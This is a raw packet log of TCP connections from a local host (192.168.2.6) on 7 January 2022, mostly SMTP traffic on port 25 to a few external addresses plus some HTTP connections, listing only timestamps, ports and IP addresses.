Jan 7, 2022 15:44:22.569874048 CET	25	50050	195.29.173.138	192.168.2.6
Jan 7, 2022 15:44:22.570050955 CET	25	50050	195.29.173.138	192.168.2.6
Jan 7, 2022 15:44:22.570051908 CET	50050	25	192.168.2.6	195.29.173.138
Jan 7, 2022 15:44:22.570141077 CET	50050	25	192.168.2.6	195.29.173.138
Jan 7, 2022 15:44:22.570595026 CET	50051	25	192.168.2.6	195.29.173.139
Jan 7, 2022 15:44:22.597390890 CET	25	50050	195.29.173.138	192.168.2.6
Jan 7, 2022 15:44:22.598203897 CET	25	50051	195.29.173.139	192.168.2.6
Jan 7, 2022 15:44:22.598310947 CET	50051	25	192.168.2.6	195.29.173.139
Jan 7, 2022 15:44:22.627657890 CET	25	50051	195.29.173.139	192.168.2.6
Jan 7, 2022 15:44:22.627805948 CET	25	50051	195.29.173.139	192.168.2.6
Jan 7, 2022 15:44:22.627839088 CET	50051	25	192.168.2.6	195.29.173.139
Jan 7, 2022 15:44:22.627867937 CET	50051	25	192.168.2.6	195.29.173.139
Jan 7, 2022 15:44:22.656023979 CET	25	50051	195.29.173.139	192.168.2.6
Jan 7, 2022 15:44:23.165221930 CET	50046	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:23.820736885 CET	50052	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:24.359831095 CET	50053	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:24.932394028 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:24.977871895 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:25.232108116 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:25.278671980 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:25.278805971 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:25.325176954 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:25.325321913 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:25.374830008 CET	25	49998	176.223.123.126	192.168.2.6
Jan 7, 2022 15:44:25.375020027 CET	49998	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:25.411036968 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:25.414156914 CET	25	49998	176.223.123.126	192.168.2.6
Jan 7, 2022 15:44:25.414305925 CET	49998	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:25.453557968 CET	25	49998	176.223.123.126	192.168.2.6
Jan 7, 2022 15:44:25.453748941 CET	49998	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:44:25.534384012 CET	25	49998	176.223.123.126	192.168.2.6
Jan 7, 2022 15:44:26.267683029 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.321783066 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.368628025 CET	50043	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:26.663769007 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.706666946 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.706688881 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.706908941 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.707551003 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.749439001 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.749665022 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.749897003 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.750006914 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.750042915 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.750072956 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.750179052 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.750205040 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.790689945 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.790787935 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.790818930 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.790903091 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.790925026 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.790999889 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.791027069 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.791117907 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.791155100 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.791179895 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.791203022 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.791265965 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.791282892 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.791290998 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.791335106 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.791378975 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.791400909 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.791515112 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.821794033 CET	50052	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:26.831717968 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.831749916 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.831811905 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.831860065 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.831897020 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.832031012 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.832103968 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.832201004 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.832242966 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.832524061 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.832551956 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.832580090 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.832603931 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.832614899 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.832648039 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.832674980 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.832736969 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.832767963 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.832793951 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.832897902 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.832937002 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.833017111 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.833036900 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.833056927 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.833123922 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.833172083 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.833368063 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.833270073 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.833448887 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.872693062 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.872730970 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.872759104 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.872806072 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.872848034 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.872900009 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.872925043 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.872978926 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.873040915 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.873121023 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.873394012 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.873471975 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.873473883 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.873538017 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.873559952 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.873646021 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.873799086 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.873831034 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.873872042 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.873904943 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.873948097 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.874012947 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.874026060 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.874090910 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.874131918 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.874197960 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.874206066 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.874258995 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.874317884 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.874386072 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.874433994 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.874497890 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.874524117 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.874579906 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.874634981 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.874701977 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.874744892 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.874813080 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.874830008 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.874891043 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.874963045 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.875020981 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.875030994 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.875081062 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.875082970 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.875149965 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.875197887 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.875272989 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.875350952 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.875411987 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.875430107 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.875488997 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.875507116 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.875567913 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.875581026 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.875643015 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.875677109 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.875737906 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.875823021 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.875885010 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.875897884 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.875910997 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.875967979 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.875992060 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.875998020 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.876050949 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.876272917 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.876343966 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.913856030 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.913880110 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.913896084 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.913911104 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.913925886 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.913944960 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.914047003 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.914088011 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.914258957 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.914292097 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.914367914 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.914386034 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.914423943 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.914501905 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.914582014 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.914654016 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.914812088 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.914904118 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.914907932 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.914987087 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.915049076 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.915110111 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.915132046 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.915175915 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.915186882 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.915255070 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.915276051 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.915386915 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.915393114 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.915488005 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.915569067 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.915632010 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.915652990 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.915702105 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.915769100 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.915837049 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.915858030 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.915952921 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.915981054 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.916007996 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.916074038 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.916085005 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.916115046 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.916136980 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.916140079 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.916205883 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.916238070 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.916301966 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.916410923 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.916486025 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.916500092 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.916534901 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.916574001 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.916634083 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.916727066 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.916764021 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.916799068 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.916802883 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.916846037 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.916877031 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.916949034 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917015076 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917037010 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917068005 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917117119 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917154074 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917186022 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917210102 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917232990 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917257071 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917263985 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917279005 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917292118 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917304039 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917315006 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917363882 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917393923 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917418003 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917613983 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917646885 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917679071 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917695999 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917714119 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917728901 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917747021 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917756081 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917779922 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.917803049 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917835951 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.917853117 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.954976082 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.955117941 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.955164909 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.955188036 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.955286980 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.955348969 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.955387115 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.955513000 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.955631018 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.955710888 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.955842018 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.955919981 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.956159115 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.956237078 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.956326962 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.956432104 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.956639051 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.956782103 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.956957102 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.956999063 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.957145929 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.957542896 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.957658052 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.957859993 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.957977057 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.957995892 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.958126068 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.958380938 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.958534002 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.958640099 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.958673954 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.958867073 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.958981991 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.959090948 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.959275961 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.959341049 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.959418058 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.959502935 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.959604979 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.959630966 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.959703922 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.959870100 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960005045 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960026979 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960050106 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960172892 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960199118 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960298061 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960321903 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960405111 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960427046 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960560083 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960583925 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960668087 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960691929 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960782051 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.960875034 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961023092 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.961138964 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961154938 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.961260080 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961268902 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.961285114 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961311102 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961333990 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961357117 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961380959 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961402893 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961426020 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961447954 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961471081 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961540937 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.961807966 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961833000 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.961839914 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961869001 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961884022 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.961954117 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.962059021 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.996084929 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.996108055 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.996115923 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.996181011 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.996222019 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:26.996226072 CET	25	49914	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:26.996306896 CET	49914	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:27.002209902 CET	25	49914	185.175.124.58	192.168.2.6
